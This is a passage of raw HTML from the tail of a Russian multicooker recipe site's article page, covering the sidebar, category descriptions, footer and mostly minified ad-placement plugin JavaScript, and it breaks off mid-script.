class="ssbp-text">Linkedin</div></a></div></div> </div> <footer class="entry-footer"> </footer> </article> <nav class="navigation post-navigation" role="navigation" aria-label="Записи"> <h2 class="screen-reader-text">Навигация по записям</h2> <div class="nav-links"><div class="nav-previous"><a href="https://foodieinfo.ru/picca-tri-syra-recept-s-foto/" rel="prev">Пицца три сыра рецепт с фото</a></div><div class="nav-next"><a href="https://foodieinfo.ru/podarok-dlja-mamy-svoimi-rukami-na-den/" rel="next">Подарок для мамы своими руками на день</a></div></div> </nav> </main> </div> </div> <aside class="col-lg-4 col-md-4"> <div class="dt-sidebar"> <aside id="secondary" class="widget-area" role="complementary"> <aside id="search-2" class="widget widget_search"><form role="search" method="get" class="search-form" action="https://foodieinfo.ru/"> <label> <span class="screen-reader-text">Найти:</span> <input type="search" class="search-field" placeholder="Поиск…" value="" name="s" /> </label> <input type="submit" class="search-submit" value="Поиск" /> </form></aside> <aside id="recent-posts-2" class="widget widget_recent_entries"> <h2 class="widget-title">Свежие рецепты</h2> <ul> <li> <a href="https://foodieinfo.ru/set-gruzinskix-restoranov-dzhondzholi/">Сеть грузинских ресторанов Джонджоли</a> </li> <li> <a href="https://foodieinfo.ru/kejtering-organizaciya-meropriyatij-lyuboj-slozhnosti/">Кейтеринг: организация мероприятий любой сложности</a> </li> <li> <a href="https://foodieinfo.ru/gazonnaya-reshetka-ot-kompanii-bikra/">Газонная решетка от компании «Бикра»</a> </li> <li> <a href="https://foodieinfo.ru/blyuda-k-velikomu-postu/">Блюда к Великому посту</a> </li> <li> <a href="https://foodieinfo.ru/furshetnye-nabory-osobennosti-gde-ispolzuyutsya/">Фуршетные наборы: особенности, где используются</a> </li> <li> <a href="https://foodieinfo.ru/professionalnoe-oborudovanie-dlya-proizvodstva-pelmenej/">Профессиональное оборудование для производства пельменей</a> </li> <li> <a href="https://foodieinfo.ru/zakvaski-dlya-syra-vidy-i-sposob-primeneniya/">Закваски для сыра: виды и способ применения</a> </li> </ul> </aside><aside id="categories-2" class="widget widget_categories"><h2 class="widget-title">Рубрики</h2> <ul> <li class="cat-item cat-item-1"><a href="https://foodieinfo.ru/%d0%b1%d0%b5%d0%b7-%d1%80%d1%83%d0%b1%d1%80%d0%b8%d0%ba%d0%b8/">Без рубрики</a> </li> <li class="cat-item cat-item-5"><a href="https://foodieinfo.ru/vypechka-v-multivarke/" title="Домашняя выпечка отличный повод провести уютный вечер в кругу семьи и друзей. Блинчики, кексы, бисквиты, пироги… Их аромат отправляет куда-то в детство. Мамы и бабушки всегда пекли к праздничному столу вкуснейшую выпечку. Конечно, сейчас в магазинах большой выбор кондитерских изделий, но пирог или штрудель, приготовленный самостоятельно не сравнится ни с чем. А с помощью мультиварки этот процесс можно упростить и воплотить в жизнь кулинарные изыски. В разделе «Выпечка в мультиварке» мы собрали интересные рецепты, с которыми справится даже начинающий кулинар.">Выпечка в мультиварке</a> </li> <li class="cat-item cat-item-3"><a href="https://foodieinfo.ru/goryachie-blyuda-v-multivarke/" title="Мультиварка просто создана для того, чтобы готовить в ней горячие блюда: запечное мясо, котлеты на пару, плов со свининой, овощи под соусом. Объедение. А если учесть, что почти ни один прием пищи не обходится без второго блюда, то мультиварка лучшая помощница в приготовлении обеда или ужина. Даже с самым обычным набором продуктов можно получить вкусные, красивые и ароматные блюда, которые украсят любой праздничный стол и порадуют ваших гостей и близких. А если правильно подойти к выбору режима, можно получить еще и очень полезное и питательное кушанье. В разделе «Горячие блюда в мультиварке» вы узнаете только самые правильные и полезные рецепты.">Горячие блюда в мультиварке</a> </li> <li class="cat-item cat-item-6"><a href="https://foodieinfo.ru/deserty-v-multivarke/" title="Любите ли вы десерты? Думаю, ответ очевиден. Это что-то нежное и легкое, сладкое и воздушное. Десерты это не просто очень вкусно, это чудесное завершение любого приема пищи. Такой обычай появился в позапрошлом столетии и был доступен только обеспеченным людям. В современном же мире десерты это повод выпить чашечку кофе или пригласить кого-то на свидание. Это блюдо создано для удовольствия. Для простого десерта достаточно красивых спелых фруктов, а более изысканный требует большего внимания. В разделе «Десерты в мультиварке» мы познакомим вас с простыми рецептами приготовления десертов, чтобы вы могли порадовать своих родных и близких.">Десерты в мультиварке</a> </li> <li class="cat-item cat-item-4"><a href="https://foodieinfo.ru/kashi-v-multivarke/" title="«Каша – мать наша». Одно из самых распространенных блюд в русской кухне. Из-за большого количества разновидностей круп, ассортимент каш велик. Они бывают густые, рассыпчатые, жидкие. Рассыпчатые варят с добавлением разных продуктов: грибов, мяса, молока, овощей. Значение каш в рационе питания очень трудно переоценить, особенно для детей, так как в кашах содержится белок, который хорошо усваивается организмом. Приготовить кашу очень просто. Главное выбрать верное соотношение крупы и жидкости. Приготовление каш в мультиварке удобно тем, что машину можно запрограммировать на определенное время и проснувшись утром вас будет ждать свежеприготовленная горячая каша. В разделе «Каши в мультиварке» вы узнаете самые лучшие рецепты.">Каши в мультиварке</a> </li> <li class="cat-item cat-item-25"><a href="https://foodieinfo.ru/kulinarija/">Кулинария</a> </li> <li class="cat-item cat-item-2"><a href="https://foodieinfo.ru/supy-v-multivarke/" title="Супы в рационе питания человека играют огромную роль. Они легко усваиваются и дают нашему организму витамины, активные вещества и минералы. Супы менее калорийны, но при этом очень питательны, поэтому они важны для людей, которые предпочитают диетическое питание. С появлением мультиварок, приготовление первых блюд стало значительно проще, а разнообразие рецептов с каждым годом только растет. К традиционным рассольнику, ухе по-фински, окрошке, прибавились супы-пюре, сырные и сливочные. В разделе «Супы в мультиварке» мы откроем секреты приготовления вкуснейших первых блюд с применением самых простых продуктов.">Супы в мультиварке</a> </li> </ul> </aside></aside> </div> </aside> </div> </div> <footer class="dt-footer"> <div class="dt-footer-bar"> <div class="container"> <div class="row"> <div class="col-lg-6 col-md-6"> <div class="dt-copyright"> Copyright © 2023 <a href="https://foodieinfo.ru/" title="BookCooks.ru">BookCooks.ru</a> </div> </div> </div> </div> </div> </footer> <a id="back-to-top" class="transition35"><i class="fa fa-angle-up"></i></a> <link rel='stylesheet' id='simple-share-buttons-adder-ssba-css' href='https://foodieinfo.ru/wp-content/plugins/simple-share-buttons-adder/css/ssba.css?ver=5.3.15' type='text/css' media='all' /> <style id='simple-share-buttons-adder-ssba-inline-css' type='text/css'> .ssba { } .ssba img { width: 25px !important; padding: 6px; border: 0; box-shadow: none !important; display: inline !important; vertical-align: middle; box-sizing: unset; } .ssba-classic-2 .ssbp-text { display: none!important; } .ssba .fb-save { padding: 6px; line-height: 20px; } .ssba, .ssba a { text-decoration:none; background: none; font-size: 14px; font-weight: bold; } #ssba-bar-2 .ssbp-bar-list { max-width: 48px!important;; } #ssba-bar-2 .ssbp-bar-list li a {height: 48px!important; width: 48px!important; } #ssba-bar-2 .ssbp-bar-list li a:hover { } #ssba-bar-2 .ssbp-bar-list li a::before {line-height: 48px!important;; font-size: 18px;} #ssba-bar-2 .ssbp-bar-list li a:hover::before {} #ssba-bar-2 .ssbp-bar-list li { margin: 0px 0!important; }@media only screen and ( max-width: 750px ) { #ssba-bar-2 { display: block; } } @font-face { font-family: 'ssbp'; src:url('https://foodieinfo.ru/wp-content/plugins/simple-share-buttons-adder/fonts/ssbp.eot?xj3ol1'); src:url('https://foodieinfo.ru/wp-content/plugins/simple-share-buttons-adder/fonts/ssbp.eot?#iefixxj3ol1') format('embedded-opentype'), url('https://foodieinfo.ru/wp-content/plugins/simple-share-buttons-adder/fonts/ssbp.woff?xj3ol1') format('woff'), url('https://foodieinfo.ru/wp-content/plugins/simple-share-buttons-adder/fonts/ssbp.ttf?xj3ol1') format('truetype'), url('https://foodieinfo.ru/wp-content/plugins/simple-share-buttons-adder/fonts/ssbp.svg?xj3ol1#ssbp') format('svg'); font-weight: normal; font-style: normal; /* Better Font Rendering =========== */ -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } </style> <script type='text/javascript'> /* <![CDATA[ */ var wpcf7 = {"apiSettings":{"root":"https:\/\/foodieinfo.ru\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"},"cached":"1"}; /* ]]> */ </script> <script type='text/javascript' src='https://foodieinfo.ru/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.7'></script> <script type='text/javascript' src='https://foodieinfo.ru/wp-content/plugins/simple-share-buttons-adder/js/ssba.js?ver=5.3.15'></script> <script type='text/javascript'> Main.boot( [] ); </script> <script type='text/javascript'> /* <![CDATA[ */ var tocplus = {"visibility_show":"\u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c","visibility_hide":"\u0421\u043a\u0440\u044b\u0442\u044c","visibility_hide_by_default":"1","width":"100%"}; /* ]]> */ </script> <script type='text/javascript' src='https://foodieinfo.ru/wp-content/plugins/table-of-contents-plus/front.min.js?ver=2002'></script> <script type='text/javascript' src='https://foodieinfo.ru/wp-content/themes/easyblog/js/custom.js?ver=5.3.15'></script> <script type='text/javascript' src='https://foodieinfo.ru/wp-includes/js/comment-reply.min.js?ver=5.3.15'></script> <script type='text/javascript'> /* <![CDATA[ */ var q2w3_sidebar_options = [{"sidebar":"dt-sidebar","margin_top":10,"margin_bottom":0,"stop_id":"","screen_max_width":0,"screen_max_height":0,"width_inherit":false,"refresh_interval":1500,"window_load_hook":false,"disable_mo_api":false,"widgets":["search-2"]}]; /* ]]> */ </script> <script type='text/javascript' src='https://foodieinfo.ru/wp-content/plugins/q2w3-fixed-widget/js/q2w3-fixed-widget.min.js?ver=5.1.9'></script> <script type='text/javascript' src='https://foodieinfo.ru/wp-includes/js/wp-embed.min.js?ver=5.3.15'></script> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins> <style> .fpm_5_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .fpm_5_modal-show{z-index:2000;visibility:visible} .fpm_5_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .fpm_5_modal-show ~ .fpm_5_modal-overlay{z-index:1000;opacity:1;visibility:visible} .fpm_5_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .fpm_5_modal-show .fpm_5_modal-content{transform:translateY(0);opacity:1} .fpm_5_modal .fpm_5_timer, .fpm_5_modal .fpm_5_cross{top:0!important} .fpm_5_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .fpm_5_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .fpm_5_cross:after, .fpm_5_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .fpm_5_cross:before{transform:rotate(-45deg)} .fpm_5_cross:hover:after{transform:rotate(225deg)} .fpm_5_cross:hover:before{transform:rotate(135deg)} .fpm_5_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .fpm_5_timer span{font-size:16px;font-weight:600} .fpm_5_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .fpm_5_out *{max-width:none!important} .fpm_5_out.top .fpm_5_cross{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_cross{bottom:-0px} .fpm_5_out.bottom .fpm_5_cross{top:150px} .fpm_5_out.show.bottom .fpm_5_cross{top:-0px} .fpm_5_out.right .fpm_5_cross{right:auto;left:0} .fpm_5_out.top .fpm_5_timer{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_timer{bottom:-0px} .fpm_5_out.bottom .fpm_5_timer{top:150px} .fpm_5_out.show.bottom .fpm_5_timer{top:-0px} .fpm_5_out.right .fpm_5_timer{right:auto;left:0} .fpm_5_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .fpm_5_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .fpm_5_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .fpm_5_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .fpm_5_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .fpm_5_out.closed{min-width:0;min-height:0} .fpm_5_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .fpm_5_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .fpm_5_out.show.left{transform:translateX(100%)} .fpm_5_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .fpm_5_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .fpm_5_video iframe{display:block;width:100%;height:100%;position:absolute} .fpm_5_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .fpm_5_video_flex.show{opacity:1} .fpm_5_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .fpm_5_video_flex.show .fpm_5_video_item{z-index:1} .fpm_5_video_flex .fpm_5_timer, .fpm_5_video_flex .fpm_5_cross{top:10px!important;right:10px!important} .fpm_5_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2} </style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(t){var e=document.createElement("div");ff(document.currentScript).after(e),flatPM_setHTML(e,t),ff(e).contents().unwrap()},window.flatPM_sticky=function(t,a,e){var l=t,d=null,s=e=e||0;function n(){if(null==d){for(var t=getComputedStyle(l,""),e="",n=0;n<t.length;n++)0!=t[n].indexOf("overflow")&&0!=t[n].indexOf("padding")&&0!=t[n].indexOf("border")&&0!=t[n].indexOf("outline")&&0!=t[n].indexOf("box-shadow")&&0!=t[n].indexOf("background")||(e+=t[n]+": "+t.getPropertyValue(t[n])+"; ");(d=document.createElement("div")).style.cssText=e+" box-sizing: border-box; width: "+l.offsetWidth+"px;",l.insertBefore(d,l.firstChild);for(var o=l.childNodes.length,n=1;n<o;n++)d.appendChild(l.childNodes[1]);l.style.padding="0",l.style.border="0"}l.style.height=d.getBoundingClientRect().height+"px";var r=l.getBoundingClientRect(),i=Math.round(r.top+d.getBoundingClientRect().height-a.getBoundingClientRect().bottom);r.top-s<=0?r.top-s<=i?(d.className="flatpm_stop",d.style.top=-i+"px"):(d.className="flatpm_fixed",d.style.top=s+"px"):(d.className="",d.style.top=""),window.addEventListener("resize",function(){l.children[0].style.width=getComputedStyle(l,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(t,e){var n=60*t.getTimezoneOffset()*1e3,o=t.getTime(),t=new Date;return o+=864e5*e,t.setTime(o),n!=(e=60*t.getTimezoneOffset()*1e3)&&(o+=e-n,t.setTime(o)),t},window.flatPM_adbDetect=function(){var t=document.querySelector('#adsense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!t)return!0;t=t.currentStyle||window.getComputedStyle(t,null),t=parseInt(t.height);return!(!isNaN(t)&&0!=t)},window.flatPM_setCookie=function(t,e,n){var o,r=(n=n||{path:"/"}).expires;"number"==typeof r&&r&&((o=new Date).setTime(o.getTime()+1e3*r),r=n.expires=o),r&&r.toUTCString&&(n.expires=r.toUTCString());var i,a=t+"="+(e=encodeURIComponent(e));for(i in n){a+="; "+i;var l=n[i];!0!==l&&(a+="="+l)}document.cookie=a},window.flatPM_getCookie=function(n){var t=document.cookie.split("; ").reduce(function(t,e){e=e.split("=");return e[0]===n?decodeURIComponent(e[1]):t},"");return""!=t?t:void 0},window.flatPM_testCookie=function(){var t="test_56445";try{return localStorage.setItem(t,t),localStorage.removeItem(t),!0}catch(t){return!1}},window.flatPM_grep=function(t,n,o){return ff.grep(t,function(t,e){return o?e==n:(e+1)%n==0})},window.flatPM_randomString=function(t){for(var e="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,r=0;r<t;r++)e+=n.charAt(Math.floor(Math.random()*o));return e},window.flatPM_random=function(t,e){return Math.floor(Math.random()*(e-t+1))+t},window.flatPM_sanitizeUrlParams=function(t){return t&&["__proto__","constructor","prototype"].includes(t.toLowerCase())?t.toUpperCase():t},window.flatPM_getAllUrlParams=function(t){var e={};if(!t||0==t.length)return e;t=(t=flatPM_sanitizeUrlParams(t))?t.split("?")[1]:window.location.search.slice(1);if(t)for(var n=(t=t.split("#")[0]).split("&"),o=0;o<n.length;o++){var r,i=n[o].split("="),a=i[0],l=void 0===i[1]||i[1],a=a.toLowerCase();"string"==typeof l&&(l=l.toLowerCase()),a.match(/\[(\d+)?\]$/)?(e[r=a.replace(/\[(\d+)?\]/,"")]||(e[r]=[]),a.match(/\[\d+\]$/)?(i=/\[(\d+)\]/.exec(a)[1],e[r][i]=l):e[r].push(l)):e[a]?(e[a]&&"string"==typeof e[a]&&(e[a]=[e[a]]),e[a].push(l)):e[a]=l}return e};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,o=0;o<e;o++){var a=t[o].str;if(a&&t[o].subStr.test(a))return t[o].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var o=flat_pm_then[e];flatPM_next(o)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,o,e){var a=0,r=!1;return t.each(function(){var t=ff(this),e=t.clone().find("img, ins, script, style, noscript").remove().end().text().replace(/(\s)+/g,"");if(a+=e.length,o<=a)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,o,a,r,i,l,s,f,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(o=!1)!==e&&(a=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=a.length&&(console.log(e.prevUntil(a).text().replace(/(\s)+/g,"").length),e.prevUntil(a).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),0!=r.length&&(console.log(e.nextUntil(r).text().replace(/(\s)+/g,"").length),e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),o||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,s=t.how.onсe.selector,f=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(s).add(i.filter(s))).length&&(l="bottom_to_top"==f?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,s=t.how.iterable.selector,f=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(s).add(i.filter(s))).length&&("bottom_to_top"==f&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(a){try{var t=[],e="",o=a.html.length;if(void 0!==a.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.role&&(void 0!==a.role.role_enabled&&-1==a.role.role_enabled.indexOf(flat_userVars.role)||void 0!==a.role.role_disabled&&-1!=a.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.geo&&(void 0!==a.geo.country_enabled&&-1==a.geo.country_enabled.indexOf(flat_userVars.country)&&-1==a.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==a.geo.country_disabled&&(-1!=a.geo.country_disabled.indexOf(flat_userVars.country)||-1!=a.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==a.geo.city_enabled&&-1==a.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==a.geo.city_disabled&&-1!=a.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+a.ID+'"]').remove();for(var r,i,l,s,f=0;f<o;f++)("∞"==a.html[f].res_of||a.html[f].res_of<=flat_userVars.winwidth)&&("∞"==a.html[f].res_to||a.html[f].res_to>flat_userVars.winwidth)&&(void 0!==a.html[f].group?flat_userVars.adb?(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd)):(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(a.html[f].fst)):flat_userVars.adb?t.push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd):t.push(a.html[f].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0===a.how.simple&&void 0===a.how.onсe&&void 0===a.how.iterable||ff('[data-flat-id="'+a.ID+'"]').each(function(){flatPM_setHTML(this,e)}),void 0!==a.how.popup&&(p="true"==a.how.popup.cross?void 0!==a.how.popup.timer&&"true"==a.how.popup.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.popup.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",document.createElement("div"),c=ff(window),b=ff("body"),g=void 0===flatPM_getCookie("flat_modal_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+a.ID+"_mb"),i="scroll.flatmodal"+a.ID,m="mouseleave.flatmodal"+a.ID+" blur.flatmodal"+a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&"true"==a.how.popup.timer&&(t=ff('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))},s=function(){void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie&&g&&(flatPM_setCookie("flat_modal_"+a.ID+"_mb",!1),ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l()),void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie||(ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l())},ff("body > *").eq(0).before('<div class="fpm_5_modal" data-flat-id="'+a.ID+'" data-id-modal="'+a.ID+'"><div class="fpm_5_modal-content">'+p+"</div></div>"),w=document.querySelector('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_modal-content'),flatPM_setHTML(w,e),"px"==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer&&(t=ff('.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie&&g&&(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n(),b.on("click",'.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_cross',function(){flatPM_setCookie("flat_out_"+a.ID+"_mb",!1)})),void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie||(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n())}var _,u="0"!=a.how.outgoing.indent?' style="bottom:'+a.how.outgoing.indent+'px"':"",p="true"==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer?'<div class="fpm_5_timer">Закрыть через 